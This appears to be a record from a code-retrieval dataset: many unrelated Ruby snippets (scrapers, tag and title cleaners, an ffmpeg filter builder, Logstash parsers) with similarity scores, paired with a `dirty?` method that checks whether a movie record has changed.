正規表現メモ: summary.scan(/\\[.*?\\]/) # => [\"[大学]\", \"[anime]\"]\n summary.gsub(/\\[#{tag}\\]/, '') # NOTE: \"あとで\" を除外してbookmark.tagsに保存しているが, この設計も見直したい.\n end", "def strip_annotations(content); end", "def clean_title(title)\n title.gsub(/[\\#=>\\d]|Papers We Love|PWL/, '').sub(/[-{1}]/, '').sub(/\\(part \\d?( of \\d?)?\\)/i, '').strip\nend", "def scrape_top_5_movies_from_imdb\n html_file = open(\"#{IMDB_URL}chart/top\").read\n html_doc = Nokogiri::HTML(html_file)\n\n movies_array = []\n\n html_doc.search(\".titleColumn\")[0..4].each do |element|\n href = element.search('a').attribute('href').value\n title = element.search('a').text.strip\n\n movies_array << { title: title, href: href }\n end\n\n movies_array\nend", "def parse\n #use regex to split\n arr = @html_string.scan(TAGS_AND_TEXT).flatten\n\n #remove nil values and return\n arr.compact!\n\n #remove white spaces\n arr.map! { |s| s.strip}\n end", "def filter_entry(entry_file)\n docs = get_docs(entry_file)\n return nil unless docs\n \n docs = docs.select do |doc|\n if @query.match(doc.content)\n doc.search(\".subentry\").each do |subentry|\n subentry.remove() unless @subquery.match(subentry.content)\n end\n doc.search(\"li\").each do |subentry|\n subentry.remove() unless @subquery.match(subentry.content)\n end\n else\n nil\n end\n end\n\n docs.map{|doc| doc.to_html}.join(\"\\n\")\n end", "def filtered_entries; end", "def filter_tweets_with_urls tweets_array\n tweets_with_urls = []\n tweets_array.each do |tweets|\n tweets.each do |tweet|\n # TODO remove this, just for debugging\n# tweet.urls.each do |url|\n# p url.display_url\n# end\n tweets_with_urls << tweet unless tweet.urls.empty?\n end\n end\n tweets_with_urls\n end", "def filter_trending_long_hashtags(hashtags)\n return Array.new if hashtags.blank?\n return hashtags & Trending.first.get_popular_long\n end", "def prune_filters(facets) \n [[userdatacats, \"Categorical\"], [userdataconts, \"Continuous\"], [userdatabins, \"Binary\"]].each do |filters, filter_type|\n to_remove = []\n filters.each do |filter|\n matching_facet = facets.find do |facet| \n facet.feature_type == filter_type and facet.name == filter.name and facet.active \n end\n if matching_facet.nil? \n to_remove << filter\n end\n end\n to_remove.each { |filter| filters.delete(filter) }\n end\n end", "def filter\n end", "def filter\n doc = @mode == :xml ? Hpricot.XML(@str) : Hpricot(@str)\n attr_rgxp = %r/\\[@(\\w+)\\]$/o\n path_to_root = \"\"\n path_parts = @page.destination.split('/') - SITE.output_dir.split('/')\n (path_parts.length - 1).times { path_to_root += \"../\" }\n Webby.site.xpaths.each do |xpath|\n @attr_name = nil\n doc.search(xpath).each do |element|\n @attr_name ||= attr_rgxp.match(xpath)[1]\n a = element.get_attribute(@attr_name)\n if a[0..0] == '/' # Only 'fix' absolute URIs\n new_uri = path_to_root + a[1..-1]\n # puts \"Updating URI: #{a}\"\n # puts \" to: #{new_uri}\"\n element.set_attribute(@attr_name, new_uri)\n end\n end\n end\n \n doc.to_html\n end", "def parse_character_movies(films_hash)\n films_hash.each do |film|\n puts \"*\" * 20\n puts \"Title: #{film_title(film)}\"\n puts \"Episode: #{film_episode(film)}\"\n puts \"Director: #{film_director(film)}\"\n puts \"Producer(s): #{film_producer(film)}\"\n puts \"Release Date: #{film_release_date(film)}\"\n end\nend", "def hide_custom_tags!\n hide_custom_tags.each do |full_pattern, value|\n paragraphs = document.css('w|p')\n while paragraph = paragraphs.shift do\n next unless paragraph.text =~ full_pattern\n run_nodes = paragraph.css('w|r')\n while run_node = run_nodes.shift\n next unless run_node.at_css('w|t')\n next unless run_node.text =~ full_pattern\n tag_contents = split_tag_content(run_node.text, full_pattern)\n replacement_nodes = []\n tag_contents[:content_list].each_with_index do |content, idx|\n remainder_run_node = run_node.clone\n replace_content(remainder_run_node, content)\n matched_tag = tag_contents[:matched_tags][idx]\n replacement_nodes << remainder_run_node\n if matched_tag\n run_node_with_match = run_node.clone\n replace_style(run_node_with_match)\n matched_content = matched_tag\n if value\n matched_content = value.is_a?(Proc) ?\n value.call(matched_tag) :\n value.to_s\n end\n replace_content(run_node_with_match, matched_content)\n replacement_nodes << run_node_with_match\n end\n end\n run_node.add_next_sibling(Nokogiri::XML::NodeSet.new(document, replacement_nodes))\n run_node.unlink\n end\n end\n end\n end", "def filter_pipeline\n @filter_pipeline ||= HTML::Pipeline.new([TypogrubyFilter])\n end", "def filters; end", "def filters; end", "def filter(event)\n require 'time'\n host = event.get(\"[agent][name]\")\n logpath = event.get(\"[log][file][path]\")\n implant_id = event.get(\"[implant][id]\")\n timefromcs = event.get(\"[c2][timestamp]\") + \" UTC\"\n timestring = Time.parse(timefromcs).strftime(\"%I%M%S\")\n temppath = logpath.split('/cobaltstrike')\n temppath2 = temppath[1].split(/\\/([^\\/]*)$/)\n screenshoturl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg\"\n thumburl = \"/c2logs/\" + \"#{host}\" + \"/cobaltstrike\" + \"#{temppath2[0]}\" + \"/screenshots/screen_\" + \"#{timestring}\" + \"_\" + \"#{implant_id}\" + \".jpg.thumb.jpg\"\n event.tag(\"_rubyparseok\")\n event.set(\"[screenshot][full]\", screenshoturl)\n event.set(\"[screenshot][thumb]\", thumburl)\n return [event]\nend", "def prune_actionword_snapshots\n puts \"Pruning actionword snapshots\" if @options.verbose\n prune_actionwords_by_css(@@scenario_snapshot_css, @@actionword_snapshot_css)\n end", "def strip_hashes text\n return text if text =~ /^(?>\\s*)[^\\#]/\n text.gsub(/^\\s*(#+)/) { $1.tr '#',' ' }\n end", "def tag_pruning tags\n pruned_tags = []\n chunks = tags.in_groups_of( (tags.count/20).to_i )\n # binding.pry\n\n chunks.each_with_index do |chunk, i|\n # binding.pry\n if chunk.first.first.ascii_only?\n tag_nodes = InstaHelper.get_tag_media_nodes(chunk.first.first)\n puts \"=========== #{tag_nodes.count} @ #{i} ================\"\n unless (DateTime.now - DateTime.strptime(tag_nodes.first[\"node\"][\"taken_at_timestamp\"].to_s,'%s')).to_i > 30\n puts \"<<<<<<<<<<<<<<< Added #{i}th tag >>>>>>>>>>>>>>>>>>\"\n pruned_tags.push chunk\n end\n end\n end\n pruned_tags.flatten.in_groups_of(2)\n end", "def remove_duplicates(movies)\n # Iterate through the list and remove any duplicates -- they should be right next to each other\n i = 0\n while i < (movies.length - 1)\n if compare_movies(movies[i], movies[i+1]) == 0\n movies.delete_at i\n else\n i += 1\n end\n end\n\n # Lastly, return the subset of movies\n movies\nend", "def remove_tags_container(t, c)\n l, r = container_array(c)\n t.gsub!(l, '')\n t.gsub!(r, '')\n t\n end", "def filter!(filter)\n self.delete_if { |ele| !(ele.tag =~ filter)}\n return self\n end", "def tidy(data); end", "def remove_unparseable files\n files.reject do |file, *|\n file =~ /\\.(?:class|eps|erb|scpt\\.txt|svg|ttf|yml)$/i or\n (file =~ /tags$/i and\n File.open(file, 'rb') { |io|\n io.read(100) =~ /\\A(\\f\\n[^,]+,\\d+$|!_TAG_)/\n })\n end\n end", "def parse_character_movies(films_hash)\n films_hash.each do |film|\n puts # blank line\n puts \"Your character appears in:\"\n puts \"Star Wars Episode #{film[\"episode_id\"]}\"\n puts film[\"title\"]\n puts film[\"opening_crawl\"]\n end\nend", "def filter(event)\n\tstring = event.get(\"[bluecheck][sectools]\")\n\tstring2 = string.gsub(\"ProcessID\",\"{ \\\"ProcessID\\\"\")\n\tstring3 = string2.gsub(\" Vendor\",\", \\\"Vendor\\\"\")\n\tstring4 = string3.gsub(\" Product\",\", \\\"Product\\\"\")\n\tstring5 = string4.gsub(\",{\",\"},{\")\n\tstring6 = string5.gsub(\": \",\": \\\"\")\n\tstring7 = string6.gsub(\", \",\"\\\", \")\n\tstring8 = string7.gsub(\"},\",\"\\\"},\")\n\tstring9 = \"[\"+string8+\"\\\" }]\"\n\tjson = JSON.parse(string9)\n\tevent.tag(\"_rubyparseok\")\n\tevent.set(\"[bluecheck][sectools]\", json)\n\treturn [event]\nend", "def analyze filter = nil\n self.prune\n\n self.hashes.each do |hash,nodes|\n identical[hash] = nodes[1..-1].all? { |n| n == nodes.first }\n end\n\n update_masses\n\n sorted = masses.sort_by { |h,m|\n exp = hashes[h].first\n [-m,\n exp.file,\n exp.line,\n exp.sexp_type.to_s]\n }\n\n sorted.map { |hash, mass|\n nodes = hashes[hash]\n\n next unless nodes.first.first == filter if filter\n\n same = identical[hash]\n node = nodes.first\n n = nodes.size\n bonus = \"*#{n}\" if same\n\n locs = nodes.sort_by { |x| [x.file, x.line] }.each_with_index.map { |x, i|\n extra = :fuzzy if x.modified?\n Location[x.file, x.line, extra]\n }\n\n Item[hash, node.sexp_type, bonus, mass, locs]\n }.compact\n end", "def normalise(html)\n doc = Nokogiri::HTML(html)\n body = doc.xpath('//body')\n\n body.xpath('//script').each {|s| s.remove}\n body.xpath('//comment()').each {|c| c.remove}\n body.xpath('//text()').find_all {|t| t.to_s.strip == ''}.map(&:remove)\n body.xpath('//header').remove\n body.xpath('//footer').remove\n body.xpath('//div[@id = \"global-cookie-message\"]').remove\n body.xpath('//div[@id = \"global-header-bar\"]').remove\n body.xpath('//div[@class = \"phase-banner-alpha\"]').remove\n body.xpath('//@class').remove\n body.xpath('//@id').remove\n body.xpath('//a').xpath('//@href').remove\n body.xpath('//label').xpath('//@for').remove\n body.xpath('//input').xpath('//@name').remove\n body.xpath('//input').xpath('//@value').remove\n\n remove_attributes(body, 'data')\n remove_attributes(body, 'aria')\n\n body.to_s\n .gsub(/>\\s+/, '>')\n .gsub(/\\s+</, '<')\n .gsub('><', \">\\n<\")\n end", "def stripped_text_blocks\n stripped = []\n text_blocks.each do |tb|\n if \"Boston Police Department\" == tb && %r{^\\d+/\\d+/\\d{4} } =~ stripped.last\n # skip\n stripped.pop\n elsif /, Police Commissioner/ =~ tb\n # skip\n elsif /^Selected & Sorted By:/ =~ tb\n # skip\n elsif /^Record Count:/ =~ tb\n # skip\n stripped.pop if /^\\d+$/ =~ stripped.last\n elsif /^(Date:|Reported|Occurred)$/ =~ tb\n # skip\n else\n stripped << tb\n end\n end\n stripped\n end", "def filters\n fail Error, \"Nothing to roll...\" unless @reels\n fail Error, \"Supporting just full_screen for now, sorry.\" unless @reels.all?(&:full_screen?)\n return @filters if @filters\n\n idx = process.output_index(self)\n\n @filters = []\n\n # Concatting\n segments = []\n\n @reels.each_with_index do |curr_reel, i|\n\n lbl = nil\n\n if curr_reel.reel\n\n # NOTE mapping input to this lbl\n\n lbl = \"o#{idx}rl#{i}\"\n\n # NOTE Image-Padding to match the target resolution\n # TODO full screen only at the moment (see exception above)\n\n Ffmprb.logger.debug \"#{self} asking for filters of #{curr_reel.reel.io.inspect} video: #{channel(:video)}, audio: #{channel(:audio)}\"\n @filters.concat(\n curr_reel.reel.filters_for lbl, video: channel(:video), audio: channel(:audio)\n )\n end\n\n trim_prev_at = curr_reel.after || (curr_reel.transition && 0)\n transition_length = curr_reel.transition ? curr_reel.transition.length : 0\n\n if trim_prev_at\n\n # NOTE make sure previous reel rolls _long_ enough AND then _just_ enough\n\n prev_lbl = segments.pop\n\n lbl_pad = \"bl#{prev_lbl}#{i}\"\n # NOTE generously padding the previous segment to support for all the cases\n @filters.concat(\n Filter.blank_source trim_prev_at + transition_length,\n channel(:video).resolution, channel(:video).fps, \"#{lbl_pad}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.silent_source trim_prev_at + transition_length, \"#{lbl_pad}:a\"\n ) if channel?(:audio)\n\n if prev_lbl\n lbl_aux = lbl_pad\n lbl_pad = \"pd#{prev_lbl}#{i}\"\n @filters.concat(\n Filter.concat_v [\"#{prev_lbl}:v\", \"#{lbl_aux}:v\"], \"#{lbl_pad}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.concat_a [\"#{prev_lbl}:a\", \"#{lbl_aux}:a\"], \"#{lbl_pad}:a\"\n ) if channel?(:audio)\n end\n\n if curr_reel.transition\n\n # NOTE Split the previous segment for transition\n\n if trim_prev_at > 0\n @filters.concat(\n Filter.split \"#{lbl_pad}:v\", [\"#{lbl_pad}a:v\", \"#{lbl_pad}b:v\"]\n ) if channel?(:video)\n @filters.concat(\n Filter.asplit \"#{lbl_pad}:a\", [\"#{lbl_pad}a:a\", \"#{lbl_pad}b:a\"]\n ) if channel?(:audio)\n lbl_pad, lbl_pad_ = \"#{lbl_pad}a\", \"#{lbl_pad}b\"\n else\n lbl_pad, lbl_pad_ = nil, lbl_pad\n end\n end\n\n if lbl_pad\n\n # NOTE Trim the previous segment finally\n\n new_prev_lbl = \"tm#{prev_lbl}#{i}a\"\n\n @filters.concat(\n Filter.trim 0, trim_prev_at, \"#{lbl_pad}:v\", \"#{new_prev_lbl}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.atrim 0, trim_prev_at, \"#{lbl_pad}:a\", \"#{new_prev_lbl}:a\"\n ) if channel?(:audio)\n\n segments << new_prev_lbl\n Ffmprb.logger.debug \"Concatting segments: #{new_prev_lbl} pushed\"\n end\n\n if curr_reel.transition\n\n # NOTE snip the end of the previous segment and combine with this reel\n\n lbl_end1 = \"o#{idx}tm#{i}b\"\n lbl_reel = \"o#{idx}tn#{i}\"\n\n if !lbl # no reel\n lbl_aux = \"o#{idx}bk#{i}\"\n @filters.concat(\n Filter.blank_source transition_length, channel(:video).resolution, channel(:video).fps, \"#{lbl_aux}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.silent_source transition_length, \"#{lbl_aux}:a\"\n ) if channel?(:audio)\n end # NOTE else hope lbl is long enough for the transition\n\n @filters.concat(\n Filter.trim trim_prev_at, trim_prev_at + transition_length, \"#{lbl_pad_}:v\", \"#{lbl_end1}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.atrim trim_prev_at, trim_prev_at + transition_length, \"#{lbl_pad_}:a\", \"#{lbl_end1}:a\"\n ) if channel?(:audio)\n\n # TODO the only supported transition, see #*lay\n @filters.concat(\n Filter.blend_v transition_length, channel(:video).resolution, channel(:video).fps, [\"#{lbl_end1}:v\", \"#{lbl || lbl_aux}:v\"], \"#{lbl_reel}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.blend_a transition_length, [\"#{lbl_end1}:a\", \"#{lbl || lbl_aux}:a\"], \"#{lbl_reel}:a\"\n ) if channel?(:audio)\n\n lbl = lbl_reel\n end\n\n end\n\n segments << lbl # NOTE can be nil\n end\n\n segments.compact!\n\n lbl_out = segments[0]\n\n if segments.size > 1\n lbl_out = \"o#{idx}o\"\n\n @filters.concat(\n Filter.concat_v segments.map{|s| \"#{s}:v\"}, \"#{lbl_out}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.concat_a segments.map{|s| \"#{s}:a\"}, \"#{lbl_out}:a\"\n ) if channel?(:audio)\n end\n\n # Overlays\n\n # NOTE in-process overlays first\n\n @overlays.to_a.each_with_index do |over_reel, i|\n next if over_reel.duck # NOTE this is currently a single case of multi-process... process\n\n fail Error, \"Video overlays are not implemented just yet, sorry...\" if over_reel.reel.channel?(:video)\n\n # Audio overlaying\n\n lbl_nxt = \"o#{idx}o#{i}\"\n\n lbl_over = \"o#{idx}l#{i}\"\n @filters.concat( # NOTE audio only, see above\n over_reel.reel.filters_for lbl_over, video: false, audio: channel(:audio)\n )\n @filters.concat(\n Filter.copy \"#{lbl_out}:v\", \"#{lbl_nxt}:v\"\n ) if channel?(:video)\n @filters.concat(\n Filter.amix_to_first_same_volume [\"#{lbl_out}:a\", \"#{lbl_over}:a\"], \"#{lbl_nxt}:a\"\n ) if channel?(:audio)\n\n lbl_out = lbl_nxt\n end\n\n # NOTE multi-process overlays last\n\n @channel_lbl_ios = {} # XXX this is a spaghetti machine\n @channel_lbl_ios[\"#{lbl_out}:v\"] = io if channel?(:video)\n @channel_lbl_ios[\"#{lbl_out}:a\"] = io if channel?(:audio)\n\n # TODO supporting just \"full\" overlays for now, see exception in #add_reel\n @overlays.to_a.each_with_index do |over_reel, i|\n\n # NOTE this is currently a single case of multi-process... process\n if over_reel.duck\n fail Error, \"Don't know how to duck video... yet\" if over_reel.duck != :audio\n\n Ffmprb.logger.info \"ATTENTION: ducking audio (due to the absence of a simple ffmpeg filter) does not support streaming main input. yet.\"\n\n # So ducking just audio here, ye?\n # XXX check if we're on audio channel\n\n main_av_o = @channel_lbl_ios[\"#{lbl_out}:a\"]\n fail Error, \"Main output does not contain audio to duck\" unless main_av_o\n\n intermediate_extname = Process.intermediate_channel_extname video: main_av_o.channel?(:video), audio: main_av_o.channel?(:audio)\n main_av_inter_i, main_av_inter_o = File.threaded_buffered_fifo(intermediate_extname, reader_open_on_writer_idle_limit: Util::ThreadedIoBuffer.timeout * 2, proc_vis: process)\n @channel_lbl_ios.each do |channel_lbl, io|\n @channel_lbl_ios[channel_lbl] = main_av_inter_i if io == main_av_o # XXX ~~~spaghetti\n end\n process.proc_vis_edge process, main_av_o, :remove\n process.proc_vis_edge process, main_av_inter_i\n Ffmprb.logger.debug \"Re-routed the main audio output (#{main_av_inter_i.path}->...->#{main_av_o.path}) through the process of audio ducking\"\n\n over_a_i, over_a_o = File.threaded_buffered_fifo(Process.intermediate_channel_extname(audio: true, video: false), proc_vis: process)\n lbl_over = \"o#{idx}l#{i}\"\n @filters.concat(\n over_reel.reel.filters_for lbl_over, video: false, audio: channel(:audio)\n )\n @channel_lbl_ios[\"#{lbl_over}:a\"] = over_a_i\n process.proc_vis_edge process, over_a_i\n Ffmprb.logger.debug \"Routed and buffering auxiliary output fifos (#{over_a_i.path}>#{over_a_o.path}) for overlay\"\n\n inter_i, inter_o = File.threaded_buffered_fifo(intermediate_extname, proc_vis: process)\n Ffmprb.logger.debug \"Allocated fifos to buffer media (#{inter_i.path}>#{inter_o.path}) while finding silence\"\n\n ignore_broken_pipes_was = process.ignore_broken_pipes # XXX maybe throw an exception instead?\n process.ignore_broken_pipes = true # NOTE audio ducking process may break the overlay pipe\n\n Util::Thread.new \"audio ducking\" do\n process.proc_vis_edge main_av_inter_o, inter_i # XXX mark it better\n silence = Ffmprb.find_silence(main_av_inter_o, inter_i)\n\n Ffmprb.logger.debug \"Audio ducking with silence: [#{silence.map{|s| \"#{s.start_at}-#{s.end_at}\"}.join ', '}]\"\n\n Process.duck_audio inter_o, over_a_o, silence, main_av_o,\n process_options: {parent: process, ignore_broken_pipes: ignore_broken_pipes_was, timeout: process.timeout},\n video: channel(:video), audio: channel(:audio)\n end\n end\n\n end\n\n @filters\n end", "def parse_hashtags\n hashtags = extract_hashtags(@title)\n hashtags += extract_hashtags(@description)\n @albums.each do |album|\n hashtags += extract_hashtags(album['name'])\n hashtags += extract_hashtags(album['description'])\n end\n\n if @tags\n @tags.concat hashtags.uniq\n @tags = @tags.uniq\n else\n @tags = hashtags.uniq\n end\n end", "def filter_trending_short_hashtags(hashtags)\n return Array.new if hashtags.blank?\n return hashtags & Trending.second.get_popular_short\n end", "def remove_useless_traces_data(params)\n convert_list_of_json_traces_to_objects(params[0])\n create_new_traces\n @traces_json_string = '[' + @traces_json_string[0...-1] + ']'\n puts @traces_json_string\n end", "def clean_array_for_zendesk( issue_array )\n\t\ttitles = []\n\t\tissue_array.each do | a |\n\t\t\tissues = {}\n\t\t\ttitle = a[ 'title' ]\n\t\t\turl = a[ 'url' ]\n\t\t\turl = url.gsub(/^https:\\/\\/github.com\\/CozyCo\\//, '')\n\t\t\turl = url.gsub(/\\/issue\\w/, '')\n\t\t\turl = url.to_s\n\t\t\tissues[ 'name' ] = title + ' (' + url + ')'\n\t\t\turl.gsub!(/\\//, '_')\n\t\t\ttitle.gsub!(/[^a-zA-Z0-9 ]/, '')\n\t\t\ttitle.gsub!(/[ ]/, '_')\n\t\t\ttitle = title + '_' + url\n\t\t\tvalue = title.downcase\n\t\t\t\n\t\t\tissues[ 'value' ] = value\n\t\t\ttitles.push( issues )\n\t\tend\n\n\t\treturn titles\n\tend", "def removePageRelatedTags(contents)\n regex = '(?:<br\\/>\\n)?(?:<hr\\/>\\n)?<a name=\\d+><\\/a>(<img src=\"list-\\d+_\\d+.jpg\"\\/?><br\\/>\\n)*\\d*(?:\\s<br\\/>\\n\\s<br\\/>)?\\n*'\n scan = contents.scan(/#{regex}/m)\n\n if scan.length == 92\n contents = contents.gsub(/#{regex}/m, '')\n else\n fail 'Did not find 92 page tags'\n end\n checkNoImgTags(contents)\n\n contents\n end", "def filter_tags(document)\n # Filter down and get the tags.\n @tags = document.css(TAG_CSS).map(&:children).map(&:text)\n end", "def filter(doc)\n genus_text = doc['genus_text']\n\n if (genus_text == nil) then return true\n end\n\n genus_text = genus_text.downcase\n\n if (genus_text == 'papaver' or genus_text == 'psilocybe' or genus_text == 'erythroxylum')\n then return false\n end\n\n material_facet = doc['material_facet']\n\n if (genus_text == 'cannabis' and (!material_facet or material_facet.downcase != 'fiber & textiles'))\n then return false\n end\n\n coll_date_text = doc['coll_date_text']\n\n if (coll_date_text =~ /\\b(\\d{4})\\b/) and ($1.to_i >= 1970)\n then return false\n end\n\n return true \nend", "def sanitize_feed_content(html, sanitize_tables = false)\n options = sanitize_tables ? {} : { tags: %w[table thead tfoot tbody td tr th] }\n sanitized = html.strip do |html|\n html.gsub! /&amp;(#\\d+);/ do |_s|\n \"&#{Regexp.last_match(1)};\"\n end\n end\n sanitized\n end", "def clean_title(title)\n title.\n # Take the part of the title before Bill, Act or -\n split(/Bill|Act|-/, 2)[0].\n # Remove any brackets\n gsub(/\\([a-zA-Z.\\d\\s'\",]*\\)/, '').\n # Strip any trailing whitespace\n rstrip\nend", "def strip_header(h, iterator)\n if (h == nil or iterator == nil)\n return false\n end\n \n #Checks if input stream line = filter pattern, removes line if true.\n if (iterator.first =~ /#{h[\"val\"]}/)\n iterator.delete_at(0)\n end\n\n return iterator\n end", "def clean_up_movie_name(value)\n value[0] = '' if value[0] == '*'\n value[-1] = '' if value[-1] == '#'\n value.strip\nend", "def clean_up_arrays\n self.likes.reject! {|l| l.empty? } if self.likes\n self.outdoor_activities.reject! {|l| l.empty? } if self.outdoor_activities\n self.nightlife.reject! {|l| l.empty? } if self.nightlife\n end", "def clean_tweets(results)\n results.first($number_of_tweets).map(&:text).join.gsub(URLS,\"\").gsub(HANDLES_AND_ADV_TWITTER,\"\").squeeze(\" \")\nend", "def dedup_tags\n title = dup\n tags = title.scan(/(?<=\\A| )(@(\\S+?)(\\([^)]+\\))?)(?= |\\Z)/).uniq\n tags.each do |tag|\n found = false\n title.gsub!(/( |^)#{Regexp.escape(tag[1])}(\\([^)]+\\))?(?= |$)/) do |m|\n if found\n ''\n else\n found = true\n m\n end\n end\n end\n title\n end", "def bond_actors(array)\n #the variable actors is equal to a new array that only has the key actors in each of the movies\n actors = array.map {|movie| movie[:actor]}\n #outputs only the unique actors so no duplicates will be shown\n puts actors.uniq\nend", "def cleanup_title(line)\n\ttitle = line.gsub(/.*>/, '') #strip everything in front of song title\n\ttitle.gsub!(/\\(.*|\\[.*|\\{.*|\\\\.*|\\/.*|\\_.*|\\-.*|\\:.*|\\\".*|\\`.*|\\+.*|\\=.*|\\*.*|feat\\..*/, \"\") #Remove rest of title following given characters\n\ttitle.gsub!(/(\\?|\\¿|\\!|\\¡|\\.|\\;|\\&|\\@|\\%|\\#|\\|)*/, '') #remove special characters\n\ttitle = title.downcase\n\ttitle.gsub!(/\\b(and|an|a|by|for|from|in|of|on|or|out|the|to|with)*\\b/, '') #remove stop words\n\ttitle.gsub!(/\\s\\s+/, ' ') #add whitespace between words\n\treturn title\nend", "def strip_profiles_meta(report, missing_report_shas, run_time_limit)\n report[:profiles].each do |p|\n next if missing_report_shas.include?(p[:sha256])\n\n p.delete_if { |f| SEEN_PROFILE_UNNECESSARY_FIELDS.include?(f) }\n\n next unless p[:controls].is_a?(Array)\n\n p[:controls].each do |c|\n c.delete_if { |f| SEEN_PROFILE_UNNECESSARY_CONTROL_FIELDS.include?(f) }\n c.delete(:waiver_data) if c[:waiver_data] == {}\n\n next unless c[:results].is_a?(Array)\n\n c[:results].each do |r|\n if r[:run_time].is_a?(Float) && r[:run_time] < run_time_limit\n r.delete(:start_time)\n r.delete(:run_time)\n end\n end\n end\n end\n report[:run_time_limit] = run_time_limit\n report\n end", "def filter_content( content ) \n\t \n\t # we do not want to touch the reference\n\t filtered_content = content.dup\n\t \n\t # replaces [[File:file.jpg]] or [[File:file.png]] or [[File:file.gif]] \n # with \n # <img src=\"upload/images/file.ext height=300px border=\"0\" ALIGN=RIGHT />\n \n url_image_root_path = url_for :controller=>\"upload/images\"\n img_link_prefix = '<img src=\"' + url_image_root_path + '/'\n img_link_postfix = '\" height=300px border=\"0\" ALIGN=RIGHT />'\n filtered_content.gsub!(/(\\[\\[)([Ff]ile:)([\\w\\.]+)(\\.png|\\.jpg|\\.jpeg|\\.gif)(\\]\\])/, img_link_prefix + '\\3\\4' + img_link_postfix)\n \n \n # replaces [[File:file.wav]] or [[File:file.mp3]] \n # <embed src=\"/audio/file.ext\" width=\"140\" height=\"60\" loop=false autostart=false>\n\n url_audio_root_path = url_for :controller=>\"upload/audio\"\n audio_link_prefix = '<embed src=\"' + url_audio_root_path + '/'\n audio_link_postfix = '\" width=\"140\" height=\"60\" loop=false autostart=false>'\n filtered_content.gsub!(/(\\[\\[)([Ff]ile:)([\\w\\.]+)(\\.wav|\\.mp3)(\\]\\])/, audio_link_prefix + '\\3\\4' + audio_link_postfix)\n\n \n filtered_content\n end", "def remove_initial_and_format_change \n @reformated_array = []\n array_of_parse_files.each do |info|\n if !info[0].include?(\"|\") && !info[0].include?(\",\")\n info.map! {|element| element.split(\" \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n elsif info[0].include?(\"|\")\n info.map! {|element| element.split(\" | \")}\n info.each {|element| element.slice!(-4)} \n @reformated_array << info\n else\n @reformated_array << info\n end\n end\nend", "def remove_unwanted_lines\n return unless @remove_lines.is_a?(Hash)\n @non_tabular_lines.each_with_index do |_line, i|\n @remove_lines.each do |_key, lines_to_remove|\n comparable_lines = @non_tabular_lines[i, lines_to_remove.length]\n next unless lines_equal(comparable_lines, lines_to_remove)\n # All lines are equal, so flag them as removed\n comparable_lines.each { |line| line.removed = true }\n end\n end\n end", "def parse_movies(job)\n details.css(\"div[id^='#{job}Movie-tt']\").map do |row|\n imdb_id = row.at(\"a[href^='/title/tt']\")['href'].parse_imdb_id\n title = row.at('a').text.strip\n year = row.at('.year_column').text.parse_year\n\n [imdb_id, title, year]\n end.map do |values|\n Spotlite::Movie.new(*values)\n end\n end" ]
[ "0.56619436", "0.5575148", "0.5534568", "0.5499996", "0.539706", "0.5387429", "0.5348722", "0.53459126", "0.53459126", "0.53459126", "0.53392154", "0.5309423", "0.5300947", "0.52809197", "0.5226505", "0.52171504", "0.52057064", "0.5198529", "0.51962054", "0.51801103", "0.5176086", "0.5152945", "0.5152945", "0.5152945", "0.51168764", "0.5112976", "0.509978", "0.5089362", "0.5083385", "0.5070658", "0.5060158", "0.5052843", "0.5046005", "0.5031764", "0.5014079", "0.50049263", "0.50041616", "0.5001582", "0.49985802", "0.49865696", "0.4968665", "0.49480364", "0.49186972", "0.49160403", "0.49151003", "0.49108902", "0.49108565", "0.49043658", "0.49041006", "0.4900319", "0.4899541", "0.48981512", "0.489813", "0.4892666", "0.4892237", "0.487874", "0.4865688", "0.48609325", "0.4844143", "0.48437008", "0.48419097", "0.4838917", "0.48335835", "0.48335835", "0.48291662", "0.48289773", "0.48246822", "0.4815513", "0.48049146", "0.4802709", "0.48024195", "0.4795143", "0.479343", "0.47909856", "0.47888353", "0.4784625", "0.47716984", "0.47712225", "0.4770765", "0.47653857", "0.47567526", "0.47503576", "0.47423214", "0.47419673", "0.4736166", "0.47356856", "0.4732102", "0.47307616", "0.47294873", "0.4726425", "0.47175077", "0.4717382", "0.47067046", "0.46971738", "0.46955153", "0.46913847", "0.468915", "0.4684516", "0.46842247", "0.4683858" ]
0.6777434
0
== Synopsis has any of the data changed?
def dirty? result = false if @original_movie.nil? result = true else @movie.each do |key, value| if @original_movie[key].nil? result = true break end if @movie[key].to_s != @original_movie[key].to_s result = true break end end unless result diff_keys = @movie.keys.sort - @original_movie.keys.sort unless diff_keys.empty? result = true end end end result end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def data_changed?\n changes.include?(\"data\")\n end", "def changed? \n @changed == true\n end", "def changed?\n true\n end", "def modified?; end", "def changed?\r\n @changed\r\n end", "def updated_data; end", "def changed?\n @changed\n end", "def changed?\n @changed\n end", "def changed?(olds, news) ; olds != news ; end", "def anything_changed?\n self.changed?;\n end", "def changed\n @deleted = false\n @changed = true\n end", "def changed?\n\t\treturn self.changed_reason ? true : false\n\tend", "def changed?\n !!@changed\n end", "def changed(_data)\n raise NotImplementedError.new\n end", "def updated_data\n\tend", "def data_changed?(current_data, previous_data)\n if current_data && previous_data\n current_data != previous_data\n else\n true\n end\n end", "def changed?\n changes.changed?\n end", "def changed?\n raw?\n end", "def content_changed?\n changed? && changes.keys != ['is_current']\n end", "def changed\n _find_changed_twins!(@_changes)\n\n @_changes\n end", "def changed_content?(doc)\n return true if title != doc[:title] || content != doc[:content] || m[:tag_list] != doc[:metadata][:tag_list]\n false\n end", "def changed?\n !@newly_set_features.empty?\n end", "def changed?\n changed = \"false\" \n uri = URI('https://api.bitcoinvenezuela.com/DolarToday.php?json=yes')\n res = Net::HTTP.get_response(uri)\n body = eval(res.body)\n \n # 12 mayor tags: _antibloqueo, _labels, _timestamp, USD, EUR, COL, GOLD, USDVEF, USDCOL, EURUSD, BCV, MISC\n unless body.size == 12\n changed = \"One on the mayor tags has changed\" \n end \n \n # _antibloqueo\n unless body[:_antibloqueo].size == 10\n changed = 